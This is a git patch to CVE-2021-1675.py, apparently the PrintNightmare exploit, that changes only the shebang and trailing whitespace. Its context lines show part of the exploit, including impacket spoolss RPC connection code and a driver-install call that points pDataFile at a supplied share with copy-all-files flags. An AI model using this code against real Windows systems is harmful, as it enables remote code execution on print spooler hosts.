From 3cb4354cc71803d195535f7a64d93a41a68194cc Mon Sep 17 00:00:00 2001 From: "Watson, Cory" Date: Wed, 14 Jul 2021 17:00:56 -0400 Subject: [PATCH] Modify shebang so we are friendlier to virtualenvs --- CVE-2021-1675.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/CVE-2021-1675.py b/CVE-2021-1675.py index 3e876bd..518dcfb 100644 --- a/CVE-2021-1675.py +++ b/CVE-2021-1675.py @@ -1,4 +1,4 @@ -#!/usr/bin/python3 +#!/usr/bin/env python3 from impacket.dcerpc.v5 import rprn from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.dtypes import NULL @@ -20,7 +20,7 @@ class DRIVER_INFO_2_BLOB(Structure): def __init__(self, data = None): Structure.__init__(self, data = data) - + def fromString(self, data, offset=0): Structure.fromString(self, data) self['ConfigFileArray'] = self.rawData[self['ConfigFileOffset']+offset:self['DataFileOffset']+offset].decode('utf-16-le') @@ -43,14 +43,14 @@ class DRIVER_INFO_2_ARRAY(Structure): def connect(username, password, domain, lmhash, nthash, address, port): binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address) rpctransport = transport.DCERPCTransportFactory(binding) - + rpctransport.set_dport(port) rpctransport.setRemoteHost(address) - + if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(username, password, domain, lmhash, nthash) - + print("[*] Connecting to {0}".format(binding)) try: dce = rpctransport.get_dce_rpc() @@ -70,7 +70,7 @@ def getDriver(dce, handle=NULL): for i in blobs['drivers']: if "filerepository" in i['DriverPathArray'].lower(): return i - + print("[-] Failed to find driver") sys.exit(1) @@ -86,7 +86,7 @@ def main(dce, pDriverPath, share, handle=NULL): container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00' container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share) container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\winhttp.dll\x00" - + flags = rprn.APD_COPY_ALL_FILES | 0x10 | 0x8000 filename = share.split("\\")[-1]